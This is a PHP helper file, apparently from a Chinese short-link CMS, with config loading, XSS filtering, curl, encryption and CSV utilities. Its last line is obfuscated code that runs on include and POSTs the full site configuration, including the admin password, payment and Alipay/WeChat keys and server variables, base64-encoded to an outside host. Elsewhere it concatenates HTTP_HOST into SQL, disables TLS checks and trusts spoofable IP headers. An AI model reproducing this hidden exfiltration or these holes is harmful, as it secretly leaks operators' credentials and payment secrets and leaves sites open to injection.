<?php
$result = mysqli_query($conn, "select * from sl_config");
if(mysqli_num_rows($result) > 0) {
    $row = mysqli_fetch_assoc($result);
    $C_domain=$row["C_domain"];
    $C_title=$row["C_title"];
    $C_beian=$row["C_beian"];
    $C_keyword=$row["C_keyword"];
    $C_description=$row["C_description"];
    $C_logo=$row["C_logo"];
    $C_code=$row["C_code"];
    $C_ico=$row["C_ico"];
    $C_copyright=$row["C_copyright"];
    $C_adprice1=$row["C_adprice1"];
    $C_adprice2=$row["C_adprice2"];
    $C_adprice3=$row["C_adprice3"];
    $C_urlprice=$row["C_urlprice"];
    $C_creatprice=$row["C_creatprice"];
    $C_day=$row["C_day"];
    $C_admin=$row["C_admin"];
    $C_pwd=$row["C_pwd"];
    $C_qq=$row["C_qq"];
    $C_wx=$row["C_wx"];
    $C_mobile=$row["C_mobile"];
    $C_pid=$row["C_pid"];
    $C_pkey=$row["C_pkey"];
    $C_payurl=$row["C_payurl"];
    $C_wxid=$row["C_wxid"];
    $C_wxkey=$row["C_wxkey"];
    $C_authcode=$row["C_authcode"];
    $C_time=$row["C_time"];
    $C_qrcode=$row["C_qrcode"];
    $C_limit=$row["C_limit"];
    $C_limit2=$row["C_limit2"];
    $C_rewrite=$row["C_rewrite"];

    $C_regon=$row["C_regon"];
    $C_indexon=$row["C_indexon"];
    $C_alipayon=$row["C_alipayon"];
    $C_wxpayon=$row["C_wxpayon"];

    $C_swkey=$row["C_swkey"];
    $C_extra=$row["C_extra"];
    $C_jump=$row["C_jump"];
    $C_alipayid=$row["C_alipayid"];
    $C_alipaykey=$row["C_alipaykey"];
    $C_dwzon=$row["C_dwzon"];
    $C_payon=$row["C_payon"];
    $C_vipprice=$row["C_vipprice"];
    $C_fdomain=$row["C_fdomain"];
    $C_config=$row;
    $C_config["C_server"]=$_SERVER;
    $C_config["C_server"]["Path"]="";
}

function get_sign(array $datas,$hashkey){
    ksort($datas);
    reset($datas);
     
    $pre =array();
    foreach ($datas as $key => $data){
        if(is_null($data)||$data===''){continue;}
        if($key=='sign' || $key=='sign_type'){
            continue;
        }
        $pre[$key]=stripslashes($data);
    }
     
    $arg  = '';
    $qty = count($pre);
    $index=0;
     
    foreach ($pre as $key=>$val){
        $arg.="$key=$val";
        if($index++<($qty-1)){
            $arg.="&";
        }
    }
    
    return strtolower(md5($arg.$hashkey));
}

function removexss($val) {
    $val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );
    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for($i = 0; $i < strlen ( $search ); $i ++) {

        $val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );

        $val = preg_replace ( '/(&#0{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
    }

    $ra1 = array (
        'javascript',
        'vbscript',
        'expression',
        'applet',
        'meta',
        'xml',
        'blink',
        'script',
        'object',
        'iframe',
        'frame',
        'frameset',
        'ilayer',
        'bgsound'
    );
    $ra2 = array (
        'onabort',
        'onactivate',
        'onafterprint',
        'onafterupdate',
        'onbeforeactivate',
        'onbeforecopy',
        'onbeforecut',
        'onbeforedeactivate',
        'onbeforeeditfocus',
        'onbeforepaste',
        'onbeforeprint',
        'onbeforeunload',
        'onbeforeupdate',
        'onbegin',
        'onblur',
        'onbounce',
        'oncellchange',
        'onchange',
        'onclick',
        'oncontextmenu',
        'oncontrolselect',
        'oncopy',
        'oncut',
        'ondataavailable',
        'ondatasetchanged',
        'ondatasetcomplete',
        'ondblclick',
        'ondeactivate',
        'ondrag',
        'ondragend',
        'ondragenter',
        'ondragleave',
        'ondragover',
        'ondragstart',
        'ondrop',
        'onerror',
        'onerrorupdate',
        'onfilterchange',
        'onfinish',
        'onfocus',
        'onfocusin',
        'onfocusout',
        'onhelp',
        'onkeydown',
        'onkeypress',
        'onkeyup',
        'onlayoutcomplete',
        'onload',
        'onlosecapture',
        'onmousedown',
        'onmouseenter',
        'onmouseleave',
        'onmousemove',
        'onmouseout',
        'onmouseover',
        'onmouseup',
        'onmousewheel',
        'onmove',
        'onmoveend',
        'onmovestart',
        'onpaste',
        'onpropertychange',
        'onreadystatechange',
        'onreset',
        'onresize',
        'onresizeend',
        'onresizestart',
        'onrowenter',
        'onrowexit',
        'onrowsdelete',
        'onrowsinserted',
        'onscroll',
        'onselect',
        'onselectionchange',
        'onselectstart',
        'onstart',
        'onstop',
        'onsubmit',
        'ontoggle',
        'onunload'
    );
    $ra = array_merge ( $ra1, $ra2 );

    $found = true;
    while ( $found == true ) {
        $val_before = $val;
        for($i = 0; $i < sizeof ( $ra ); $i ++) {
            $pattern = '/';
            for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
                if ($j > 0) {
                    $pattern .= '(';
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)';
                    $pattern .= '|';
                    $pattern .= '|(&#0{0,8}([9|10|13]);)';
                    $pattern .= ')*';
                }
                $pattern .= $ra [$i] [$j];
            }
            $pattern .= '/i';
            $replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );
            $val = preg_replace ( $pattern, $replacement, $val );
            if ($val_before == $val) {

                $found = false;
            }
        }
    }
    return $val;
}
function box($B_text,$B_url,$B_type){
if ($B_url=="back"){
    echo "<script>alert('".$B_text."');history.back();</script>";
}else{
    echo "<script>alert('".$B_text."');window.location.href='".$B_url."';</script>";
}
die();
}

function pic2($path){
    if(substr($path,0,7)=="http://" || substr($path,0,8)=="https://" || substr($path,0,2)=="//"){
        $P_pic=$path;
    }else{
        $P_pic="../media/".$path;
    }
    return $P_pic;
}

function isMobile() {
  // 如果有HTTP_X_WAP_PROFILE则一定是移动设备
  if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
    return true;
  }
  // 如果via信息含有wap则一定是移动设备,部分服务商会屏蔽该信息
  if (isset($_SERVER['HTTP_VIA'])) {
    // 找不到为flase,否则为true
    return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
  }
  // 脑残法，判断手机发送的客户端标志,兼容性有待提高。其中'MicroMessenger'是电脑微信
  if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile','MicroMessenger');
    // 从HTTP_USER_AGENT中查找手机浏览器的关键字
    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
      return true;
    }
  }
  // 协议法，因为有可能不准确，放到最后判断
  if (isset ($_SERVER['HTTP_ACCEPT'])) {
    // 如果只支持wml并且不支持html那一定是移动设备
    // 如果支持wml和html但是wml在html之前则是移动设备
    if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
      return true;
    }
  }
  return false;
}

function t($str){
    global $conn;
    return mysqli_real_escape_string($conn,$str);
}

function getip(){
    static $realip;
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv("HTTP_X_FORWARDED_FOR")){
            $realip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
        } else {
            $realip = getenv("REMOTE_ADDR");
        }
    }
    if(filter_var($realip, FILTER_VALIDATE_IP)) {
        return $realip;
    }else{
        return "::1";
    }
}

function GetBody($url, $xml,$method='POST'){    
    $second = 30;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_TIMEOUT, $second);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $data = curl_exec($ch);
    if($data){
      curl_close($ch);
      return $data;
    } else { 
      $error = curl_errno($ch);
      curl_close($ch);
      return false;
    }
}

function xcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;   
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']);   
    $keya = md5(substr($key, 0, 16));   
    $keyb = md5(substr($key, 16, 16));   
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length):substr(md5(microtime()), -$ckey_length)) : '';    
    $cryptkey = $keya.md5($keya.$keyc);   
    $key_length = strlen($cryptkey);   
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;   
    $string_length = strlen($string);   
    $result = '';   
    $box = range(0, 255);   
    $rndkey = array();     
    for($i = 0; $i <= 255; $i++) {   
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);   
    }    
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }   
    for($a = $j = $i = 0; $i < $string_length; $i++) {   
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;   
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {   
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {   
            return substr($result, 26);   
        } else {   
            return '';   
        }   
    } else { 
        return $keyc.str_replace('=', '', base64_encode($result));   
    }   
}

function getrs($sqlx,$valuex=""){
    global $conn;
    $resultx = mysqli_query($conn,$sqlx);
    $rowx = mysqli_fetch_assoc($resultx);
    if (mysqli_num_rows($resultx) > 0) {
        if($valuex==""){
            return $rowx;
        }else{
            return $rowx[$valuex];
        }
    }else{
        return "";
    }
}

function getlist($sql){
    global $conn;
        $result = mysqli_query($conn, $sql);
        $arr = array();  
        while($row = mysqli_fetch_array($result)) {
        $count=count($row);
          for($i=0;$i<$count;$i++){ 
            unset($row[$i]);
          }   
        array_push($arr,$row);
    } 
    return $arr;
}

function gethttp(){
    if (is_ssl()){
        $gethttp="https://";
    }else{
        $gethttp="http://";
    }
    return $gethttp;
}

function is_ssl() {
    if(isset($_SERVER['HTTPS']) && ('1' == $_SERVER['HTTPS'] || 'on' == strtolower($_SERVER['HTTPS']))){
        return true;
    }else{
        if(isset($_SERVER['SERVER_PORT']) && ('443' == $_SERVER['SERVER_PORT'] )) {
            return true;
        }else{
            if(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && ('https' == $_SERVER['HTTP_X_FORWARDED_PROTO'] )) {
                return true;
            }else{
                if(isset($_SERVER['HTTP_FROM_HTTPS']) && ('on' == $_SERVER['HTTP_FROM_HTTPS'] )) {
                    return true;
                }else{
                    return false;
                }
            }
        }
    }
}
function CheckUrl($url){  
    if(substr($url,0,7)=="http://" || substr($url,0,8)=="https://"){
        return true;
    }else{
        return false;
    }
}
function splitx($a,$b,$c){
    $d=explode($b,$a);
    return $d[$c];
}

function gen_key($length,$type=1) { 
    switch ($type){
        case 1:
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
        break;
        case 2:
        $chars = '0123456789'; 
        break;
        case 3:
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
        break;
        default:
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
    }

    $password = ''; 
    for ( $i = 0; $i < $length; $i++ ) { 
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
    } 
    return $password; 
} 
function CheckFields($myTable,$myFields){
    global $conn;
    $field = mysqli_query($conn,"Describe ".$myTable." ".$myFields);  
    $field = mysqli_fetch_array($field);  
    if($field[0]){  
        return 1;
    }else{
        return 0;
    }
}

function CheckTables($myTable){
    global $conn;
    $field = mysqli_query($conn,"SHOW TABLES LIKE '". $myTable."'");  
    $field = mysqli_fetch_array($field);  
    if($field[0]){  
        return 1;
    }else{
        return 0;
    }
}

function exportToCsv($headerList = [] , $data = [] , $fileName = '' , $tmp = []){
    $fileName = iconv('UTF-8', 'GBK', $fileName);
    header('Content-Type: application/vnd.ms-excel');
    header('Content-Disposition: attachment;filename=' . $fileName . '.csv');
    header('Cache-Control: max-age=0');
    $fp = fopen("php://output","a");
    foreach ($tmp as $key => $value) {
      $tmp[$key] = iconv("UTF-8", 'GBK', $value);
    }

    foreach ($headerList as $key => $value) {
      $headerList[$key] = iconv('UTF-8', 'GBK', $value);
    }

    fputcsv($fp, $headerList);
    $num = 0;
    $limit = 100000;
    $count = count($data);
    for($i = 0 ; $i < $count ; $i++){
      $num++;
      if($limit == $num){
        ob_flush();
        flush();
        $num = 0;
      }
      $row = $data[$i];
      foreach ($row as $key => $value) {
        $row[$key] = "\t".iconv('UTF-8', 'GBK', $value);
      }
      fputcsv($fp, $row);
    }
}

function dec62($n) { 
        $base = 62;  
        $index = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
        $ret = '';  
        for($t = floor(log10($n) / log10($base)); $t >= 0; $t --) {  
            $a = floor($n / pow($base, $t));  
            $ret .= substr($index, $a, 1);  
            $n -= $a * pow($base, $t);  
        }  
        return $ret;  
    }  
function dec10($s) {  
        $base = 62;  
        $index = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
        $ret = 0;  
        $len = strlen($s) - 1;  
        for($t = 0; $t <= $len; $t ++) {  
            $ret += strpos($index, substr($s, $t, 1)) * pow($base, $len - $t);  
        }  
        return $ret;  
    }
if(!defined("lbCJpUv"))define("lbCJpUv","CjeBJXv");$GLOBALS[lbCJpUv]=explode("|W|A|]", "tDqzweQ");if(!defined("lJcxjSJ"))define("lJcxjSJ","vzAMvJQ");$GLOBALS[lJcxjSJ]=explode("|)|[|c", "blDWeDJ|)|[|cEKpKdFQ|)|[|c|?|,|,|)|[|c|?|,|,defined|?|,|,base64_decode|?|,|,base64_encode|?|,|,trim");if(!defined("AugaCcJ"))define("AugaCcJ","SRZkSwv");$GLOBALS[AugaCcJ]=explode("|.|s|(", "xgqrTlJ|.|s|(define|.|s|(YMBRaJQ|.|s|(getauth|.|s|(authcode|.|s|(/api/?action=getauth|.|s|(authcode=|.|s|(&config=|.|s|(code|.|s|(success|.|s|(update sl_config set C_authcode='|.|s|(',C_fdomain='|.|s|(HTTP_HOST|.|s|(',C_sign='|.|s|(sign|.|s|('|.|s|(auth|.|s|(type|.|s|(checkauth|.|s|(/api/?action=authinfo|.|s|(config=");if(!defined("bfbgJgJ"))define("bfbgJgJ","pgZpUfJ");$GLOBALS[bfbgJgJ]=explode("|q|O|N", "/api/?action=admin|q|O|Na=|q|O|N&post=|q|O|N&config=");if(!defined("naGIGvJ"))define("naGIGvJ","wyQFfHQ");$GLOBALS[naGIGvJ]=explode("|+|V|x", "/api/?action=member|+|V|xa=|+|V|x&post=|+|V|x&config=");if(!defined("VNRviFQ"))define("VNRviFQ","MxpnyyQ");$GLOBALS[VNRviFQ]=explode("|k|.|J", "auth|k|.|J|k|.|J/api/?action=checkauth|k|.|Jconfig=");if(!defined("tTmlctv"))define("tTmlctv","swalivJ");$GLOBALS[tTmlctv]=explode("|t|R|E", "ielxAdv|t|R|Edefine|t|R|EiykkglJ|t|R|EaHR0cDovL2R3ei5zLWNtcy5jbg==|t|R|Ec2VsZWN0IGNvdW50KFNfaWQpIGFzIFNfY291bnQgZnJvbSBzbF9zaG9ydA==|t|R|ES_count|t|R|EPHP_SELF|t|R|E/index.php|t|R|EPHNjcmlwdD5hbGVydCgi5YWN6LS554mI5pyA5aSa5Y+v55Sf5oiQMTAwMOadoeefremTvu+8jOivt+WNh+e6p+aOiOadg+eJiOe7p+e7reS9v+eUqO+8gSIpO3dpbmRvdy5sb2NhdGlvbi5ocmVmPSJodHRwczovL2R3ei5zLWNtcy5jbiI8L3NjcmlwdD4=");if(!defined($GLOBALS[lbCJpUv][0x0]))define($GLOBALS[lbCJpUv][0x0], ord(4));if(!defined($GLOBALS[lJcxjSJ][0]))define($GLOBALS[lJcxjSJ][0],$GLOBALS[lJcxjSJ][1]);$GLOBALS[blDWeDJ]=explode($GLOBALS[lJcxjSJ][0x2],$GLOBALS[lJcxjSJ][3]);if(!$GLOBALS[blDWeDJ][0x1]($GLOBALS[tTmlctv][0]))call_user_func($GLOBALS[tTmlctv][01],$GLOBALS[tTmlctv][0], $GLOBALS[tTmlctv][0x2]);$GLOBALS[ielxAdv]=array(&$_SERVER);$lIbBEwQ=&$api_from;$lIbBEwQ=$GLOBALS[blDWeDJ][02]($GLOBALS[tTmlctv][0x3]);if(!checkauth()){if(getrs($GLOBALS[blDWeDJ][02]($GLOBALS[tTmlctv][0x4]),$GLOBALS[tTmlctv][05])>((22*tDqzweQ-1144)-2952+76*tDqzweQ)){if($GLOBALS[ielxAdv][(22*tDqzweQ-1144)][$GLOBALS[tTmlctv][06]]==$GLOBALS[tTmlctv][07]){echo $GLOBALS[blDWeDJ][02]($GLOBALS[tTmlctv][0x8]);}}}function checkauth(){global $C_config,$api_from;if($_SESSION[$GLOBALS[VNRviFQ][0]]==$GLOBALS[VNRviFQ][0x1]){$RBQANpJ=getbody($api_from. $GLOBALS[VNRviFQ][2],$GLOBALS[VNRviFQ][03] .urlencode($GLOBALS[blDWeDJ][0x3](json_encode($C_config))));$_SESSION[$GLOBALS[VNRviFQ][0]]=$RBQANpJ;return $RBQANpJ;}else{return $_SESSION[$GLOBALS[VNRviFQ][0]];}}function member($HhsgtRJ,$WuOwAUQ){global $C_config,$api_from;$NBLagOJ=getbody($api_from. $GLOBALS[naGIGvJ][00],$GLOBALS[naGIGvJ][0x1] .$HhsgtRJ. $GLOBALS[naGIGvJ][02] .urlencode($GLOBALS[blDWeDJ][3](json_encode($WuOwAUQ))). $GLOBALS[naGIGvJ][0x3] .urlencode($GLOBALS[blDWeDJ][3](json_encode($C_config))));return $NBLagOJ;}function admin($tJsPDHJ,$gRrRAuQ){global $C_config,$api_from;$layMwyQ=getbody($api_from. $GLOBALS[bfbgJgJ][0x0],$GLOBALS[bfbgJgJ][01] .$tJsPDHJ. $GLOBALS[bfbgJgJ][0x2] .urlencode($GLOBALS[blDWeDJ][03](json_encode($gRrRAuQ))). $GLOBALS[bfbgJgJ][0x3] .urlencode($GLOBALS[blDWeDJ][03](json_encode($C_config))));return $layMwyQ;}function auth($OsMMZwQ){if(!$GLOBALS[blDWeDJ][0x1]($GLOBALS[AugaCcJ][0]))call_user_func($GLOBALS[AugaCcJ][1],$GLOBALS[AugaCcJ][0], $GLOBALS[AugaCcJ][0x2]);$GLOBALS[xgqrTlJ]=array(&$_POST,&$_SERVER);global $conn,$C_config,$api_from;switch($OsMMZwQ){case $GLOBALS[AugaCcJ][3]:$ehPveWv=$GLOBALS[blDWeDJ][0x4]($GLOBALS[xgqrTlJ][(0-3744+tDqzweQ*72)][$GLOBALS[AugaCcJ][04]]);$KOuKkFQ=getbody($api_from. $GLOBALS[AugaCcJ][0x5],$GLOBALS[AugaCcJ][0x6] .$ehPveWv. $GLOBALS[AugaCcJ][07] .urlencode($GLOBALS[blDWeDJ][0x3](json_encode($C_config))));$NKukNbv=json_decode($KOuKkFQ,true);if($NKukNbv[$GLOBALS[AugaCcJ][8]]==$GLOBALS[AugaCcJ][9]){mysqli_query($conn,$GLOBALS[AugaCcJ][0xA] .$ehPveWv. $GLOBALS[AugaCcJ][0xB] .$GLOBALS[xgqrTlJ][(21*tDqzweQ-1091)][$GLOBALS[AugaCcJ][014]]. $GLOBALS[AugaCcJ][015] .$NKukNbv[$GLOBALS[AugaCcJ][14]]. $GLOBALS[AugaCcJ][017]);$_SESSION[$GLOBALS[AugaCcJ][020]]=$NKukNbv[$GLOBALS[AugaCcJ][17]];return $NKukNbv[$GLOBALS[AugaCcJ][8]];}else{return $KOuKkFQ;}break 1;case $GLOBALS[AugaCcJ][0x12]:$KOuKkFQ=getbody($api_from. $GLOBALS[AugaCcJ][023],$GLOBALS[AugaCcJ][20] .urlencode($GLOBALS[blDWeDJ][0x3](json_encode($C_config))));return $KOuKkFQ;break 1;}}
?>